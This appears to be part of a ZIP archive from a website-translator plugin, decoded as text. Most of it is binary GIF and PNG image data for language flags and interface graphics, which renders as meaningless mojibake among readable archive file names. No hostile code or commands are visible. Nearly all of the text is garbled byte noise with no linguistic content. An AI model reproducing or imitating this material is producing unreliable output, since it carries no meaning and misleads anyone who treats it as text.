ÅX³Û‰³BæBA½\Á›“ÝDÅTžˆA4r²ì4í7î!õ¿Ç²æ£ HM¥Ã˜qÄÝÖ˜;Y©WÕÇLµŽEõBäç IOY@:ÁÄEZÉÌÉ$3×NÛËdHRMùޤYœš3‡2m£7¢tç„D:YÁU™BQ}–ß)®7ÇANf;6Ïø¥yþ\)sS¶° Ó+søs³¹É¿ñóøšÒ’¯ÅáÀ%±÷S©pà’%,Ã5µS*(¢…<­RÃEݾeG™7{ÿ5ùoô ú‘qõò þž2‡LHpÑ-hægþIz;|^bλ‡hï›Çè!Ý0õ<8ã0¥Z=ò†ˆ]ØKdŒþÖF[J—ÝŽS“ÕŠQº6ù.»Œ5ýe—»LþV®åuCל–|5ˆË5ÅóEƒ‹áÚÛ‰ âÕ;c©5¸ÜÔ³`Ýièx=ƒ~üX-f}{Å^W½¥ìT8¶‹+Ç×<)~©<³›½«ù߈ÕÿÚÞhe´þrþ°|cÝÇÌHF+þ?ñ[¿û”…ˆ[æé6‚#B¸ÑŽóUò)t‡1óÝìß÷7—Ðÿ&ë $ýoZ®ŽèKD„o“ÊŸhImÅç;¿'ã{!¾Nnnëaì##5¦^gü,>¾ MÙÙÙZ>¾†ß'4âkЈ¯AƒF| 4âkР_ƒø4hÄ× A#¾ ñ5hhRÀûWƒ†ßþœÓÛiØÐkñIEND®B`‚PK.—[Žô-ûZZ.google-website-translator/images/Sundanese.gifnu„[µü¤GIF89aÕÿÿÿæ^aîŽíî”–Ü?DãBGÝBGßDIÞFKàHMáLPàLPæPUåPUãOTâOTãSWäTXæW[æX\äW[æY]ç_céjnèmpêuxêuyëy}ì‚ë~샆샇öööôôôóóóñññðððïïïîîîíííÿÿÿ!ù*,w@UeH,*JaÉl:—ÉÀó¡V©ØìgK°@@NxÌoÎåtHÂèdÞð¸Þ‰,4‚¼~Ï×k ƒ„…†„ ŽŽ"–—˜™™"#šžž#$Ÿ£—$%¤¤%&¨£&'¬Ÿ'(°ž(*)¸¹º»»*A;PK.—[ –m””,google-website-translator/images/Swahili.gifnu„[µü¤GIF89aÆs[²V€»V¼Yƒ¼]ƒ´Zƒ½^ƒ´Y„½[…¾\…¾`…¶a…·]†¾^†¾^‡¿c‡¸_ˆ¿dˆ¸`‰¿`‰Àa‰Àf‰¹bŠÀcŠÁgŠºb‹Àc‹Àd‹ÁdŒÁeŒÁfÂj½gŽÂk޽iÃjÄm½o¾k‘Ãn“Åq“Áq•Çs•Âu–Ãw˜Äy™ÆxšÈxšÉ{šÆy›ÉzœÊ{œÊ|È~žÉ~ŸË¡Ë‚¡Ë‚¢Íƒ¢Íƒ£Î„£Í…£Ì„¤Î…¤Î‡¥Î‡¦Ï‡¦Ðˆ¦Ï‰¦ÐŠ¦ÐŠ§ÐŠ¨ÐŒ©ÑªÑŽ«Ñ­Ó’­Ó’­Ô•°Õ–±Õ—±Öœµ×¶×¶Ø ¸Ù ¸Ú£»Ú¤»Û§½Û§½Ü©¾Ý«ÁݬÁÞ­ÃÞ®Ãß±Åà³Æà³Çà¸Êä½ÎåÊØéÐÛìÕàîÞæòèîöîóøôöûõøûöøûöùûùùüøúüúûýýþþþþÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ!ù ,ñ€Aƒ„…††C`‹ŒŽ‹a‹F<^WV–—–š›V]@8XRS£¥SQQRªS¬¬Y=6TN³´NLZ[Lµ´T74OHÁÁGG;de;ÄÂÁO5-I::9:>JDAhiEBJ?ÓÑI0+:1å/1bljqrjkc3.å1:,()ùUmssÜ\¹ÀAŸ‡*HœØÀ¡†fžI¡!Ã%>˜°À‘co¾p“ƒAGŽ&BTA¡eKMœ° —-E`x‚ÏŸø, áçOxpÀ´©Ó§M=, СªÕ«X±ø «×¯`Áþ ;PK.—[§ú³rr,google-website-translator/images/Swedish.gifnu„[µü¤GIF89aæÿÿÿV§X¨Y©TT[ªW VŸ^«^«X¡Y¡a¬a®b®\£]¤#d¯!_¥#`¦%c©(eª=vµ@y¸@x·E|ºE|¹H¼H»L¾L‚¾L½O„¿S†À`Åc‘Æl˜Ép›ÊvŸÍw Í|£Ï†ªÓ†«Ó¯Öôè*ôè-ÿôLÿölÿøÿïÿðÿðíßÿðÿðÿðÿðÿð%ÿñ)öé.öé1øë4ÿò7øë6ùì9ùì<ÿóEÿóFÿôSÿôTÿõ`ÿövÿöwÿÿÿ!ùK,Ï€K ƒƒ0†0„‰‰K-ŽŽ2‘2””",)(šIJJIš)¡š((+!*&«&1®1¬±¬*'$¸$H»H¹¾¹'%#Å#FÈFÆËÆ%BGDÒÓÔÕÓGC?E@ÜÝÞßÝEA=<:æçèéç<>.;8ðñòóñ;/ú7ý7û÷M¸@ƒj(¬°!Â"8@q‹4*j¬è@ƒB ˜Ar†È“"4H  eË0s¸œ9Á’ à´ÁÓ†Nœ9 äÔ¹$;PK.—[`®Áp-google-website-translator/images/tabbed_1.pngnu„[µü¤‰PNG  IHDR ¸ÜÂùHIDATxÚíÑ¡ ÄÀ‡ýGên°u5\ô¹¤ªNí4c`u³â&Àgà—×!9' IEND®B`‚PK.—[Q©.’’-google-website-translator/images/tabbed_2.pngnu„[µü¤‰PNG  IHDR¼üŽßS pHYs  šœDIDATxÚíÔ± À0EAe$ÆgvJ6 Š]D÷ø× ¢ªžø°î÷®8þ¼wŒN| ˜™ËÑ@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ À±½^o*žTIEND®B`‚PK.—[›:¥ÔÔ-google-website-translator/images/tabbed_3.pngnu„[µü¤‰PNG  IHDR)@‡›^dsRGB®ÎébKGDÿÿÿ ½§“ pHYs  šœtIMEÛ !1Æn£>TIDAThÞíÎA 012ÿ’€¼0|Hz.ÌœX¬ªVÝ=/ yù ¨¦sòåIEND®B`‚PK.—[(~Ö!!,google-website-translator/images/Tagalog.gifnu„[µü¤GIF89a÷ÿÿÿýíîç"ç&×)ç,ç.è.è/è 0Ø.è"2Ø .è$4Ø!/è&6Ù$3é(8è(8é)8è)8Ú'5é+;é-=Ü,:é0@Ý0>ê4Bé3Aë7Fß5Cà9Gì@Oä>LîXdñs~õ–÷­´ûØÜþ÷øãâæ77‡66„<<ˆ@@‹CCŽFF‘EEEEŽHH‘JJ’LL”LL“OO–MM“PP–SS—TT˜[[š__ `` cc¡gg¡kk§ll§ppªrr©vv­ww­||°††¶‡‡¶‰‰¸‹‹¹»‘‘¼””¾¥¥È°°Ðââîïïöööú?AÜÞÊïïçÿÿúÿÿûÿÿüÿÿýÿömÿ÷zÿû¾ÿýÝÿýÞÿþíÿïÿñ'ÿò1ÿò8îèœÿù¨ÿú°ÿûÆÿûÇÿûÊÿûËÿüÏøõÓÿýàÿýáÿýåÿþðÿþóöõêþýóÿþõÿþöÿþ÷ÿþúÿã¸úÐÃýýýüüüûûûùùùôôôóóóñññðððÿÿÿ!ù‚,þÍA£ Áƒ â’‚I’%#JœÑÆœ;P !B¤H‘Ž?zäHäH =DQòH—0cÂ4"cOJ8RšìàÑ£§ÏŸ=…Äàó +mœÜÀ‘£©Ó§9|´è󦌖2nJi  ¨^ÍZ5† R 1 ‚Û¸s㾡J! N¼¸q Èäép Â„çУKŸAЂhßν»vA;PK/—[.Øí\\*google-website-translator/images/Tajik.gifnu„[µü¤GIF89aæÿÿÿÐ#'÷ÌÍÝ#Ý$Ý%Ý!&Í$Ð#(ß',ß(-Ñ%+Ñ&,ß*/ß*0Ò)/Þ,1Þ-2Ò+1Ô.3Ô/4åSX펑ð–šñ£¥ñ¥§ò¨ªó®°ô±³ó±³ùÓÔö°´üÔÖüÕ×üÙÛýàâûêëûìíûÖÙüïðLªzLª{O­}O¬~T®€W±ƒW°ƒY²…j¹‘q½–r½—yÀœ~àà€Ä¡€Ä¢Ê«”ͰW°‚X±ƒr½–ŽÊ«”ΰ÷ÇÇûççüëëûûûùùùøøøöööôôôóóóÿÿÿ!ùK,¹€K>ƒ„0„‡‡†K1dXàÁ hÜȱãÆ (I²¤I“ – Xɲ¥K—K;PK/—[#ÂKuUU*google-website-translator/images/Tamil.gifnu„[µü¤GIF89aæÿÿÿæèôÇÌ窳ÙÈÎ誴Úàäòèì÷‹È¿Éáqˆ¼w¿‡šÇ´ÀܶÂݹÄÞÀÊáÃÍãÈÑæÇÐåÆÏäàæôæëö²Ãä³ÃäÊ×îêïøÌÙî”U–X—Z–ZV%š^#Y#X'š`%‘Z(›`&’[&’\*›c(”^(“]*•_˜W˜X šY$š] šXì•Lì—OîœXîžZïž[ð¡]ï ^ð¡_ð¢aõªk÷¬mõ«lñ§jò°yó²{ô·„ô·…ôºˆõ¿’õ¿“õÙûûûùùùøøøöööôôôóóóÿÿÿ!ùN,²€N:ƒ„…††N8G‹ŒŽŽ;7FCB”•”˜™B›E95DA¡¢£¤¢D63@?«¬?<==>­¬@4H¸¹¸ººHIÀ¸ÄIJÌ  ÌJKÌ ÌKLÌÌLMÌîM)"øù.02/úùb°X¡ć \¨áA-Lœð@±¢Å‹O  Q¢£Ç AŽp¢¤É“(Q: ;PK/—[#ÂKuUU+google-website-translator/images/Telugu.gifnu„[µü¤GIF89aæÿÿÿæèôÇÌ窳ÙÈÎ誴Úàäòèì÷‹È¿Éáqˆ¼w¿‡šÇ´ÀܶÂݹÄÞÀÊáÃÍãÈÑæÇÐåÆÏäàæôæëö²Ãä³ÃäÊ×îêïøÌÙî”U–X—Z–ZV%š^#Y#X'š`%‘Z(›`&’[&’\*›c(”^(“]*•_˜W˜X šY$š] šXì•Lì—OîœXîžZïž[ð¡]ï ^ð¡_ð¢aõªk÷¬mõ«lñ§jò°yó²{ô·„ô·…ôºˆõ¿’õ¿“õÙûûûùùùøøøöööôôôóóóÿÿÿ!ùN,²€N:ƒ„…††N8G‹ŒŽŽ;7FCB”•”˜™B›E95DA¡¢£¤¢D63@?«¬?<==>­¬@4H¸¹¸ººHIÀ¸ÄIJÌ  ÌJKÌ ÌKLÌÌLMÌîM)"øù.02/úùb°X¡ć \¨áA-Lœð@±¢Å‹O  Q¢£Ç AŽp¢¤É“(Q: ;PK/—["¥’õjj)google-website-translator/images/Thai.gifnu„[µü¤GIF89aÕÿÿÿßÏ Ï Ñ#Ò$á (á!)Ó &Ó!'åNUçQWçRXæRXçUZízí{€ïŠŽð‘• 4Š6‹8@‘B“A"F•!CŽ#E%G)I“+L•.N–0Q›0Q˜2R™6V6Uš:Zž>^¢?^¢@_¢Mj©Plª^x±ýýýüüüñññðððÿÿÿ!ù2,‡@YcH,2ÆdÉl:…$¡V©Ø,dKq¸à°xéefô¬­ó¬­ÝÞÍÞÞÞßßßÞßß ß!!à""à#"ß""Ï ß##à$$ß$$Þ$$à%%Ñ##à&&Ò$$à''á((à((á))à))Ó&&á**Ó''á++à**â,,Ô**à--á..Ô,,â00â11Ö..Ö00â44ã55×33â77Ø55ã88ã99Ù77ã::Ù99Ü<<ä??å@@Ü>>åBBÞ@@åCCåDDäDDßCCåFFåGGßEEæHHàGGáIIåLLåMMãMMáLLçQQæPPäPPæQQãPPçTTåTTåUUçWWçXXæXXçYYèZZçZZç\\è^^è__èbbéeeéffèffêjjéjjêkkékkêmmêooëqqërrëssìvvìyxìyyëyyí{{ì||ì}}í~~íì퀀탃ïîð••ñœœñô³³ô¶¶õ¹¹õ»»÷ÇÇ÷ÉÉùÐÐúÖÖúÝÝûããüææüééýôôþööþùùÿÿÿ!ù“,ÿ'QÑB° Áƒ'e¨¡Ã‡zÁÂ'Ï‹uèØ¹xÑb‹wîüÙ2Ï›7mÖÐÙ‡ÍÉ—0ßè¹òÄMš1qEz„(ЙŸ@ƒÊ©Â¤Œ3Ž2C&š/^¾€™JU ”$YŽPˆH)Nœh™Ó…‹”³gÃ,¢äÇ¢fv IH†™;7Š‘,8( `‚ä‘D(…‡Ã‡mÑA‚ ƒLÈ`aB 18`dð@Úà 5@<ÈÑ(€#ŠÐ ð@B… ¸q¿¸c†IbT€€† ’+OÎBÆŠ &,@lj$hß¾…‹Â? p°@AñèÑ8ÑÁAˆ÷ðãËÿaR‚ øóë߯R@;PK/—[.Ûa=‚‚.google-website-translator/images/Ukrainian.gifnu„[µü¤GIF89aÕÿÿÿ¾Ö9Œ³<Ž´=µ@’¸@’·E•»E•ºE”¹H—¼H—»Lš¾L™½O›¿SžÀTžÁ`¥Åc§Æl¬Ép®Êv±Íw²Í|´Ï†ºÓ†»Ó¿Ö4©7“¯6ªF›µÿñÿñðãôè*ôè-ÿïÿðÿðíßíßÿðîàÿðÿðÿðïáïáðâÿñÿñ#ñä!ÿð%ñä#óæ%ÿñ)óæ(öé.öé1ÿÿÿ!ù<,Ÿ@^cH,BrÃ47N&*x,4KV›íz-àŒ#¡˜ÏèôÃ0T$ð¸|¯( ˆ~Ïïï'„…†‡…Ž‘:8.˜™š›™8;#5,¢£¤¥£5$73*¬­®¯­3942'¶·¸¹·!61 &ÀÁÂÃÁ "/.%ÊËÌÍË.0+-ÓÔÕÖÖ+<(()ÜÛÛ)áßàÛÏÝ=wÏ=ï>ßïs“Ãá!"ýŠÈÊÊÔËËË)**Ò^ûåååQUU¥ñât:‰Ón˜BìÐk¨\vÁS¯7ÓÜìaíÂáäeÙh\úñ¦¦¨q ½¸Œ„̱ú4$6BYÿV'‡N›ðvùiÙE>|Þ˜û¤m.¡aîíQãÃÄg¯ÿ™Œ¢gôiHl ½Î·& Ü©÷`N¿sJnÔÇøuÍMbíŒâvyñvºÝü&*ÿÕÊôìÛŒ MšBà£×c¼AøFÏ·ÿ%Ø×IÑV¦Ãš•`»Q{Ê [7ASæà·ûÉG02ç¾F¹9B™m¦¶º¿ÛO°Ë ¡`÷ºÖ#{ð]!žP®`ôÓJÍNø½¿ïí­¾‘¡ø`÷~Ø›0ˆíúaër(¬‡O E¡\£àÛÉl®¸„¿ÓG|b€UóS!Ù¹“¼:µ–¶ àÌ·jÀ^½o%·ç[Vs|à‚‚Çà ¼îM_¤ÞÈ=e;¼e;Í»Ï@`$$^»Ê ؆xÇËÍ1G)y»™Ï:¤ 3sð…lVý0ƒC[r¸3#‘ºæjžþp ߇– =F2wÂ¥¹°å)»ÆG?mŒwçÀø»a´ÉX6qŒÍñ™à> ßɃ¥…ð“é`É…W?‚oÀô\ãgK.,ÛM~cøT4žØ ;Š"ë‹ß‰à»J"Ë-¹°n;¸ûxß}m§r T…ÀܧCM;|z–æAâ HÌ…’èà‹¹3Êž)~í ÏÁ’{GðÌ’\hÿ„uûîÁj‡@ðê‰{Ð×ãE¤Çøºçèó±ŒïŠq@r4²zTä·×/†ÓoCån¸c*üvÔz ªÂX¿2¶ÖÃú pßly¿c³aÃسž/n3ÛSˉ¾·sWWä~N¸ÏèÆÏ?š À¯Ö¥ðD¾Âعêrámnfgåøeé©îÅvk2Þt¡Í cØõe8y|‡!2œÞ‡·ÃÊøÖ-Æú#uá×ôùüçüá/ð¬5>6nŸù/tX`Éx·6Þß{{Ißì{;ËJa‘Ézu8 î=cÝüE°¥þ¾þó’¾ÏVòuœ£Z z›7f8V_+­íR“­¤XS©XØÂê½³¸ä®Ád†^ãŒâ÷ Í›Œ„1ÉÆm› *O×_}Ÿ”kî?*üÎÓS°÷< ë«à¹FXý»ÈýKKaŤ«ŸÏæx;.À6¾ó&Øßì±óëõšìÇÈeíò»8ûÖÃ|°óAöo[@j²5ràXSÙòÀ!2g㿉¤{TueÞD[yÃËÆÁ;´8àØòÁ?Oëe˜÷ øë p¸žh,üµ(ó“Al'®Í˜Ìû¿æ=-ÇàÜ(ön‹œá$B™3u)ÖN.×=Dó¿M´üÓDÃn—kvÇòëYÛñvFÎ$~ÏõEâ`c 7Zw ¼…¯ôVO§^‚Eð½bhRÂ_ðÌŒò«ûÝŽ:“îû´ç‹ß­€²—¡øqxìEøÙ>]ýŠ­9 pá`¡waëk†Å«öo4ÿ1c’Ç0,mn÷pëzÏ$–žãÆ„ðPêŽÈ7á»ð¨ ÎÖÃâbÈœ™Àž}ÆÁ Æ%ÞnÉ‘›³žƒmÓŒ«U‹‹ ð(äO‚½_G¿Û±ÃÒðÙèX=ÔÜ 5Âÿ2ØêyÓཱུ:o&‡ÃŠ¿G©Ûn"-ââ!Þ ^ºÀ— —»fýi*ž¶ã½»dÊFžœ³iHßXG+öë˜øÝÐîK<Øí׿wø,=Öù¡¥,ý¼.ý=ÊWÓéº3¿-ňÃÜuõðÈ2lRË9\lj‹L_0™·ä~ý?ŸCbì\õÒg¾OGõ*¼ç«0'€m\ÉSŒ/ ÿ¾.j/$Y†ë ’ØÅ–ží“Q×=_Íý·O nôFBcY(dÆd dΊ™…ú$$6BéÏ´Ñ“™6z²ö¶Ü´ô§À" Eäÿ4ôÊËËÓ^“˜ó…¾G‰Eú½D4GQ(" ED¡ˆ(…"¢PDD¡ˆ(…"¢PDŠˆBQ("¢PDŠˆBQ(" ED¡ˆ(Q(" ED¡ˆ(…"¢PDŠˆB…"¢PDŠˆBQ(" ED¡ˆˆBQ(" ED¡ˆ(…"¢PDŠˆ(…"¢PDŠˆBQ(" EDŠˆBQ(" ED¡ˆ(…"" ED¡ˆ(…"¢PDŠˆBQ("¢PDŠˆBQ(" ED¡ˆ(Q("_X<€ÓéÔžéÇÿ´+W¾#ÿäIEND®B`‚PK/—[H8ÜûÃÃ0google-website-translator/images/upper_right.pngnu„[µü¤‰PNG  IHDRÊfŠ»= pHYs  šœuIDATxÚíÜL”÷Çñ÷Ãq0b[ŒÅ ¬bšªñGš¶šÚ¥S3[­Ý¶Z]¤ë¶Š&Z]Ûlaé:™+KÔµ´kèšÅV׊Õi§ÖÕS!«%v…R~Èý¾ÛÏ•C9~Tň|^÷ÜÝs<åMƒg6¶¼ÐöüB'øŽ‚ÐýÖLX³œÝ|ßÝí§t”ÀRã§BE |u gAÌ4ˆÉ„‚4¢ :»ö'ÿ­S<6s‹îÆ ‹†p®åKÖì¹[øü—/ÜýžN?ìäÈ^Cwž}3—ñ\2OH‡6¨‡ì|óöÚ…pò}(Ý wM†ßÏ‚J”•˜Û—§ÃæjX»˜ Ã÷ÃÂ7`t:¬›»6ÂËEÀæs;k<Öý~îi=®Æγ0b™ùõOfÃù}ð›Õ@!<“­eð8p74°½ô¿üºðDÇÝq¶xÜhóC³Ú\æ´«?ßžƒ=Nnƒƒ[ay|ï6sû¡ªà{úfýsþü7xьε_˜·OýZ­°h|Xë캿Øïv¿Ÿ%…°À0§^­vˆøØÜ6wlʇWƒWÂYÐýh¥åVäkÂï®g̨¡Ø[΃wŽ#bäz>ó¾@À‚aøˆµeÙô\@…"SFNdÊȉ:ý@W½DŠˆ¦^·´¬¬,„›ˆ>Gé…þ_/­QDŠˆBQ(" ED¡ˆ(Q(" ED¡ˆ(…"¢PDŠˆ(…"¢PDŠˆBQ(" EDŠˆBQ(" ED¡ˆ(…"¢PDD¡ˆ(…"¢PDŠˆBQ("¢PDŠˆBQ(" ED¡ˆ(…"" ED¡ˆ(…"¢PDŠˆB…"¢PDŠˆBQ(" ED¡ˆˆBQ(" ED¡ˆ(…"¢PDŠˆ(…"¢PDŠˆBQ(" EDŠÈ· PSS£#!Òƒÿ)NW¾ ö¶gIEND®B`‚PK/—['î-êSS)google-website-translator/images/Urdu.gifnu„[µü¤GIF89a÷ÿÿÿøúùñõòðôñÈ×ËÖáØÔßÖxœ~¤¼¨»Í¾ FW#%[-.d6DtKU€[j‘pq–vr—wwš|¢†·¡¬Â¯²ÇµÉ×ËGH J F J LMLLNPORSOS#X%Y&"\)!X(+`10f70e60e70d62f86h<:k@?qE?pE@pFBrHFvLIxOM{S[†`\†a^‡cgŽlk’pr–v€ „¡…„¤ˆ‰¨˜³›¼Í¾ÃÓÅâêãG GF I DINL0d5GvLP}T[…_gŽkk‘o‰§Œ­Ã¯°Ä²»Î½E F I H J IKNMMM0d44f8:k>?oC?nB?mBApEGuJMzP[„^gŽje‹hgj™³›ÊØËC 4e7?oBMyOgŒir•to‘qA GHHK0b10`1q“r?=? @ E C A FDH?i?MwMMvMMuM[[g‰gæìæèíèøúø÷ø÷þþþýýýüüüûûûùùùøøøöööôôôóóóñññðððïïïîîîíííÿÿÿ!ù©,ÿS€Ê**T(`#YŒHœH‘âŽM…ô™0AÈC%p” AHœ¡¤¥¥!X^á#§%…öˆÓ£G¥:H|X‰C䑞AnxrÈIXø™ÄcOI(ñøQã“CylDÚ‚ÉͰ D`c£ Pc AèÀ¥4SbÀÀ£§Ð‹8d„rXÂL”Av´T¢D”3K°p!Ê!ˆ1  €ÁQ  BBEƒQ?„ù°H¦ V0jè1 ZrÈ Šæd 0@– E<|9‘¢”à ^6HO4Â%\ Üi²Á S5t0Ñ@^ÃDLœ:´„< )§Ž(3¢¾}2ôíׇ’ •T <ÑÁ€ 8à ˜J@;PK/—[¿ÛÙYY*google-website-translator/images/Uzbek.gifnu„[µü¤GIF89aæÿÿÿÔ±¾Û¼ÈÕ²ÀÞÃΩ¿Þéï÷K€¾›¸ÛŸ»ÜÏÝî@y¸E}ºF¼J¾K‚¾L¾Pƒ¾Y‹Â`Åk˜Êk˜Én›Ëo›Ëp›Êu Îv ÎužÍvŸÍwŸÍw Íz£Ð{£Ï…«Ô‰­ÔŒ¯Ö‹®Õ¯ÖŒ®Õް֒³Ø“³Ø“³×–¶Ùš¸Ú¬ÄàâëõA|ºC}ºKƒ¾M…¿t Íy£ÏŒ°ÖÚæòûýþ]¸&^·'f´7g´8^·&_·(a¸*[¬(]­+^­,eº0fº1`®.gº3a¯0i¼5c±2j¼6d±3ä¼­æÀ²Û¹¬Û¸¬ùùùøøøöööôôôÿÿÿ!ùT,¶€T#!2‰Š‹‹T%7 &&'.—6$”&™&$$3 (84 - ¯"05 / +*½)ÁÂÂ! ,,ÍÎÏÏ1ÖרÙ×PßàáââPQãççQRèìàRSííSOMLö÷øù÷MN;J?  $F|(\ȰáB#KŠÑA‘b‹/jÔAäH! CŠ)2‡*@Rª\É’%•@;PK/—[ÐÔž±--/google-website-translator/images/Vietnamese.gifnu„[µü¤GIF89a÷ÿÿÿßß ß ä@Cç[^è]^ìuví~í€Þ#ß'ß 'ß!&ß"(çZ^Þ!Ý#Þ!Þ#Þ%ß%æT^éckédkæR^ÿüÿÿÿÿÿòÿó7ÿô7ÿðÿò7þë7þì7ýéFûÙúÐøÂ:øÉV÷½:õ¬ô¥ñ“ò› ñ– ðŽðˆî€ñ›gñ–hè^ æQ!éhOéhPã7çWBéePã4æTBé^Pè[Pá.(ßà# ß ß# ß""Ï à$$Ñ##à&&à'&Ò$$á((á+(à((á))Ó&&Ó''á++Ô**à--à..Ô,,â00Ö..Ö00â44×33â77Ø55Ù77Ù99Ü<<Ü>>Þ@@åCCßCCßEEàGGáIIãMMáLLçQQæPPäPPãPPåTTåUUçWWçXXæXXçZZè^^è__éjjêmmìvvìxvëyyí퀀ð••ÿÿÿ!ù€,ÿÅH° Aƒ€àüYȰ¡C‡sÞøá³‡bEŠ ð¡¸qG?rØôÁC²$yò 0Y²4zìÈœi'hÎÔÓæÌ:@é€ACŠ 8”Î4e꬙ºæÇ ;J”ÀñcǪk꘣fŒÙ=T€ ñáÃ(t0;F 0\œèuò É‹»ò`¯.a¼hI˜±ƒ':t0¡„AcÆZ¾l¹r¤sg 66¬`Á¡FϯtÁR¥ˆk×`Ä  AF‹¯]SÉ2EÊß¿‰ä˜0€@B€ÿ–bÊ“ У ˆd:õ O¢ a½»÷ïß— 2B¾¼ùóç;PK/—[vã¬ØÁ Á *google-website-translator/images/w9xWz.pngnu„[µü¤‰PNG  IHDRí4¤ç pHYs  šœ OiCCPPhotoshop ICC profilexÚSgTSé=÷ÞôBKˆ€”KoR RB‹€‘&*! Jˆ!¡ÙQÁEEÈ ˆŽŽ€ŒQ, Š Øä!¢Žƒ£ˆŠÊûá{£kÖ¼÷æÍþµ×>ç¬ó³ÏÀ –H3Q5€ ©BàƒÇÄÆáä.@ $p³d!sý#ø~<<+"À¾xÓ ÀM›À0‡ÿêB™\€„Àt‘8K€@zŽB¦@F€˜&S `ËcbãP-`'æÓ€ø™{[”! ‘ eˆDh;¬ÏVŠEX0fKÄ9Ø-0IWfH°·ÀÎ ² 0Qˆ…){`È##x„™FòW<ñ+®ç*x™²<¹$9E[-qWW.(ÎI+6aaš@.Ây™24àóÌ ‘àƒóýxήÎÎ6޶_-ê¿ÿ"bbãþåÏ«p@át~Ñþ,/³€;€mþ¢%îh^  u÷‹f²@µ éÚWópø~<ß5°j>{‘-¨]cöK'XtÀâ÷ò»oÁÔ(€hƒáÏwÿï?ýG %€fI’q^D$.Tʳ?ÇD *°AôÁ,ÀÁÜÁ ü`6„B$ÄÂBB d€r`)¬‚B(†Í°*`/Ô@4ÀQh†“p.ÂU¸=púažÁ(¼ AÈa!ÚˆbŠX#Ž™…ø!ÁH‹$ ɈQ"K‘5H1RŠT UHò=r9‡\Fº‘;È2‚ü†¼G1”²Q=Ô µC¹¨7„F¢ Ðdt1š ›Ðr´=Œ6¡çЫhÚ>CÇ0Àè3Äl0.ÆÃB±8, “c˱"¬ «Æ°V¬»‰õcϱwEÀ 6wB aAHXLXNØH¨ $4Ú 7 „QÂ'"“¨K´&ºùÄb21‡XH,#Ö/{ˆCÄ7$‰C2'¹I±¤TÒÒFÒnR#é,©›4H#“ÉÚdk²9”, +È…ääÃä3ää!ò[ b@q¤øSâ(RÊjJåå4åe˜2AU£šRݨ¡T5ZB­¡¶R¯Q‡¨4uš9̓IK¥­¢•Óhh÷i¯ètºÝ•N—ÐWÒËéGè—èôw †ƒÇˆg(›gw¯˜L¦Ó‹ÇT071ë˜ç™™oUX*¶*|‘Ê •J•&•*/T©ª¦ªÞª UóUËT©^S}®FU3Sã© Ô–«UªPëSSg©;¨‡ªg¨oT?¤~Yý‰YÃLÃOC¤Q ±_ã¼Æ c³x,!k «†u5Ä&±ÍÙ|v*»˜ý»‹=ª©¡9C3J3W³Ró”f?ã˜qøœtN ç(§—ó~ŠÞï)â)¦4L¹1e\kª–—–X«H«Q«Gë½6®í§¦½E»YûAÇJ'\'GgÎçSÙSݧ §M=:õ®.ªk¥¡»Dw¿n§î˜ž¾^€žLo§Þy½çú}/ýTýmú§õG X³ $Û Î<Å5qo</ÇÛñQC]Ã@C¥a•a—á„‘¹Ñ<£ÕFFŒiÆ\ã$ãmÆmÆ£&&!&KMêMîšRM¹¦)¦;L;LÇÍÌÍ¢ÍÖ™5›=1×2ç›ç›×›ß·`ZxZ,¶¨¶¸eI²äZ¦Yî¶¼n…Z9Y¥XUZ]³F­­%Ö»­»§§¹N“N«žÖgðñ¶É¶©·°åØÛ®¶m¶}agbg·Å®Ã“}º}ý= ‡Ù«Z~s´r:V:ޚΜî?}Åô–é/gXÏÏØ3ã¶Ë)ÄiS›ÓGgg¹sƒóˆ‹‰K‚Ë.—>.›ÆÝȽäJtõq]ázÒõ›³›Âí¨Û¯î6îiî‡ÜŸÌ4Ÿ)žY3sÐÃÈCàQåÑ? Ÿ•0k߬~OCOgµç#/c/‘W­×°·¥wª÷aï>ö>rŸã>ã<7Þ2ÞY_Ì7À·È·ËOÃož_…ßC#ÿdÿzÿѧ€%g‰A[ûøz|!¿Ž?:Ûeö²ÙíAŒ ¹AA‚­‚åÁ­!hÈì­!÷ç˜Î‘Îi…P~èÖÐaæa‹Ã~ '…‡…W†?ŽpˆXÑ1—5wÑÜCsßDúD–DÞ›g1O9¯-J5*>ª.j<Ú7º4º?Æ.fYÌÕXXIlK9.*®6nl¾ßüíó‡ââ ã{˜/È]py¡ÎÂô…§©.,:–@LˆN8”ðA*¨Œ%òw%Ž yÂÂg"/Ñ6шØC\*NòH*Mz’쑼5y$Å3¥,幄'©¼L LÝ›:žšv m2=:½1ƒ’‘qBª!M“¶gêgæfvˬe…²þÅn‹·/•Ék³¬Y- ¶B¦èTZ(×*²geWf¿Í‰Ê9–«ž+Íí̳ÊÛ7œïŸÿíÂá’¶¥†KW-X潬j9²‰Š®Û—Ø(Üxå‡oÊ¿™Ü”´©«Ä¹dÏfÒféæÞ-ž[–ª—æ—n ÙÚ´ ßV´íõöEÛ/—Í(Û»ƒ¶C¹£¿<¸¼e§ÉÎÍ;?T¤TôTúT6îÒݵa×ønÑî{¼ö4ìÕÛ[¼÷ý>ɾÛUUMÕfÕeûIû³÷?®‰ªéø–ûm]­NmqíÇÒý#¶×¹ÔÕÒ=TRÖ+ëGǾþïw- 6 UœÆâ#pDyäé÷ ß÷ :ÚvŒ{¬áÓvg/jBšòšF›Sšû[b[ºOÌ>ÑÖêÞzüGÛœ499â?rýéü§CÏdÏ&žþ¢þË®/~øÕë×Îјѡ—ò—“¿m|¥ýêÀë¯ÛÆÂƾÉx31^ôVûíÁwÜwï£ßOä| (ÿhù±õSЧû“““ÿ˜óüc3-Û cHRMz%€ƒùÿ€éu0ê`:˜o’_ÅFìIDATxÚ””¿kGÇg÷$¥‹,ûœ`ì8Ä$¸ Á¸0®ÒlÊ€Á?ª´®ò?¤ ¤ Ä…Ñ% \bïâ0[K³]8I¬îö$EBóvÙÝ'LƧ¯›[±Ÿ  ¼bæ3ßï›™¯ Ê3Ïs+Ïs‹™íÑ,ê*3Ûæzf®œÚ¬µ¶’$™IÓt:˲ji¡ÍÌ“Ìl™â¤ÐZ[J©?¦iú€ˆ.'ÚÌ<ËÌ•Bˆ .ø@¨”ú™ˆ®h­íÈbæ3¦­“‚ˆìõõõkÖÇ€#¥Ô_Dô­Öº’ç¹U‚Õ˜ùÌ8HÅ÷ýk^ !ŽG ÿ•R«DôƒÖzʰWÙ³ËI)åU/…C!F ¡Rjˆ~ÒZ× 